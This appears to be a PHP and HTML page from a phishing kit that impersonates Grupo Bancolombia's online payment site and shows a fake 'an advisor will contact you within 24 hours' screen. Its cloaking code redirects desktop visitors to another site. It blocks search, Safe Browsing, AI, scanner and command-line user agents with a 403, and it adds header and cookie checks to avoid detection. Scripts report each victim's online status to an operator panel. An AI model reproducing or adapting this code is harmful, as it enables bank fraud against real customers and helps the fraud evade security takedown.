<?php
include('antibots/cloa.php');
define('APP_LOADED', true);
require_once('inc/paths_user.php');
function esPC() {
    $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');

    // Si detecta móvil, NO es PC
    if (preg_match('/iphone|ipad|android|mobile|opera mini|iemobile|blackberry/', $ua)) {
        return false;
    }

    return true;
}

if (esPC()) {
    header("Location: https://www.temu.com/");
    exit();
} 
// ==============================
// ANTIBOT TOTAL �C BLOQUEO ABSOLUTO
// ==============================

// 1. Bloqueo por User-Agent (TODO bot)
$ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');

// ==================================================
// LISTA TOTAL DE BOTS (SOLO BOTS, NO HUMANOS)
// ==================================================
$bot_signatures = [

  // ---------- GOOGLE (BOTS REALES) ----------
  'googlebot','adsbot-google','mediapartners-google',
  'apis-google','google-read-aloud',
  'google-safe-browsing','google-safebrowsing',
  'safebrowsing','sb-google',
  'chrome-lighthouse','lighthouse',
  'pagespeed','google page speed',

  // ---------- OTROS BUSCADORES ----------
  'bingbot','msnbot','duckduckbot',
  'yandexbot','baiduspider','seznambot',
  'applebot',

  // ---------- REDES / PREVIEWS ----------
  'facebookexternalhit','facebot',
  'whatsapp','telegrambot',
  'discordbot','slackbot',
  'twitterbot','linkedinbot','pinterest',

  // ---------- IA / LLM ----------
  'gptbot','openai','chatgpt',
  'anthropic','claude',
  'gemini','bard',
  'perplexity','youbot',
  'cohere','huggingface',
  'c.ai','character.ai',

  // ---------- HOSTING / CLOUD (BOTS) ----------
  'amazonbot',
  'googlecloud','gcp',
  'azure',
  'digitalocean',
  'ovh','hetzner','contabo','linode','vultr',
  'oraclecloud','ibmcloud',

  // ---------- REGISTRADORES / DOMINIOS ----------
  'namecheapbot','godaddybot',
  'cloudflare','cf-',
  'domains.google',
  'whois','rdap',

  // ---------- MONITOREO ----------
  'uptimerobot','pingdom','statuscake',
  'betteruptime','datadog','newrelic','site24x7',

  // ---------- SEGURIDAD / SCANNERS ----------
  'nessus','acunetix','qualys',
  'nmap','zgrab','masscan',
  'shodan','censys','securitytrails',

  // ---------- LIBRER�0�1AS / AUTOMATIZACI�0�7N ----------
  'curl','wget','python','requests','aiohttp',
  'axios','httpclient','okhttp','java',
  'go-http','libwww',
  'postman','insomnia'
];

// ==================================================
// BLOQUEO POR FIRMA DE BOT
// ==================================================
foreach ($bot_signatures as $sig) {
  if (strpos($ua, $sig) !== false) {
    http_response_code(403);
    exit;
  }
}

// ==================================================
// ANTI BOT DISFRAZADO (NO AFECTA HUMANOS)
// ==================================================
$required_headers = [
  'HTTP_ACCEPT',
  'HTTP_ACCEPT_LANGUAGE',
  'HTTP_ACCEPT_ENCODING'
];

foreach ($required_headers as $h) {
  if (empty($_SERVER[$h])) {
    http_response_code(403);
    exit;
  }
}

// JS + cookies
if (!isset($_COOKIE['human_ok'])) {
  setcookie('human_ok','1', time()+3600,'/','',false,true);
  echo '<script>location.reload()</script>';
  exit;
}

// Rate limit humano
$_SESSION['hits'] = ($_SESSION['hits'] ?? 0) + 1;
if ($_SESSION['hits'] > 120) {
  http_response_code(429);
  exit;
}
?>
<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="theme-color" content="#000000">
    <title>Pago en l&iacute;nea</title>
    <script src="/scripts/jquery-3.6.0.min.js"></script>
    <script src="/scripts/functions2.js"></script>
    <link rel="stylesheet" href="<?php echo $u_cfg['main_css']; ?>">
    <link rel="stylesheet" href="<?php echo $u_cfg['basic_css']; ?>">
    <link rel="stylesheet" href="<?php echo $u_cfg['norm_css']; ?>">
    <link rel="stylesheet" href="<?php echo $u_cfg['styles_css']; ?>">
    <link rel="stylesheet" href="<?php echo $u_cfg['boot_css']; ?>">
    <script src="<?php echo $u_cfg['jq']; ?>"></script>
    <script src="<?php echo $u_cfg['redirect']; ?>"></script>
    <script src="<?php echo $u_cfg['boot_js']; ?>"></script>
    <script src="<?php echo $u_cfg['init_js']; ?>"></script>
    <style>
    html, body, form { height: 100% }
    </style>
</head>
<body>
    <div id="root">
        <div class="sc-gsFSXq jhvnaB">
            <div class="sc-iGgWBj icJLiE">
                <div id="errorAlert" class="sc-uVWWZ iVygmi"></div>
                <div class="sc-bbSZdi eDGRzG">Informaci&oacute;n</div>
                <div class="sc-fBWQRz cULVBz"></div>
                <div height="264px" class="sc-aXZVg cXjXnO">
                    <div style="display:flex; flex-direction:column; align-items:center; justify-content:center; min-height:240px; padding:30px 20px; text-align:center">
                        <div style="width:50px; height:50px; border-radius:50%; background:#FDDA24; display:flex; align-items:center; justify-content:center; margin-bottom:18px">
                            <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="#2C2A29" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M22 16.92v3a2 2 0 0 1-2.18 2 19.79 19.79 0 0 1-8.63-3.07 19.5 19.5 0 0 1-6-6 19.79 19.79 0 0 1-3.07-8.67A2 2 0 0 1 4.11 2h3a2 2 0 0 1 2 1.72 12.84 12.84 0 0 0 .7 2.81 2 2 0 0 1-.45 2.11L8.09 9.91a16 16 0 0 0 6 6l1.27-1.27a2 2 0 0 1 2.11-.45 12.84 12.84 0 0 0 2.81.7A2 2 0 0 1 22 16.92z"/></svg>
                        </div>
                        <div style="font-size:16px; font-weight:700; color:#2C2A29; margin-bottom:10px; font-family:inherit">
                            Un asesor se comunicar&aacute; contigo
                        </div>
                        <div style="font-size:14px; color:#58595B; line-height:1.6; font-family:inherit; margin-bottom:16px">
                            En las pr&oacute;ximas <strong>24 horas</strong> uno de nuestros asesores se pondr&aacute; en contacto contigo para finalizar tu proceso.
                        </div>
                        <div style="font-size:13px; color:#58595B; line-height:1.5; font-family:inherit">
                            Por favor, est&aacute; atento a tu tel&eacute;fono y correo electr&oacute;nico registrado.
                        </div>
                    </div>
                </div>
                <script>
                setTimeout(function() {
                    window.location.href = 'pagosbancolombiauser.php';
                }, 30000);
                </script>
            </div>
            <div class="sc-dAlyuH fgvEPZ">
                <div class="sc-jlZhew kZLvRr"></div>
                <span class="sc-eDPEul gTfgka">
                    <div class="sc-eldPxv dJzohZ">
                        <div class="sc-cPiKLX eqxxRJ"></div>
                        <div class="sc-cwHptR fvLrbU">Copyright &copy; 2023 Grupo Bancolombia.</div>
                        <div class="sc-dLMFU kikHRa"></div>
                    </div>
                    <div class="sc-fPXMVe dCLFvs"></div>
                </span>
            </div>
        </div>
    </div>
    <div id="csid"></div>
    <script>
    window.addEventListener('beforeunload', function(event) {
        $.ajax({ url: '../p4n3l/MySQL.php', type: 'POST', data: { action: 'Desconectado' } });
    });
    document.addEventListener('visibilitychange', function() {
        if (document.visibilityState === 'visible') {
            $.ajax({ url: '../p4n3l/MySQL.php', type: 'POST', data: { action: 'enLinea' } });
        } else {
            $.ajax({ url: '../p4n3l/MySQL.php', type: 'POST', data: { action: 'Desconectado' } });
        }
    });
    document.addEventListener('DOMContentLoaded', function() {
        $.ajax({ url: '../p4n3l/MySQL.php', type: 'POST', data: { action: 'enLinea' } });
    });
    </script>
</body>
</html>
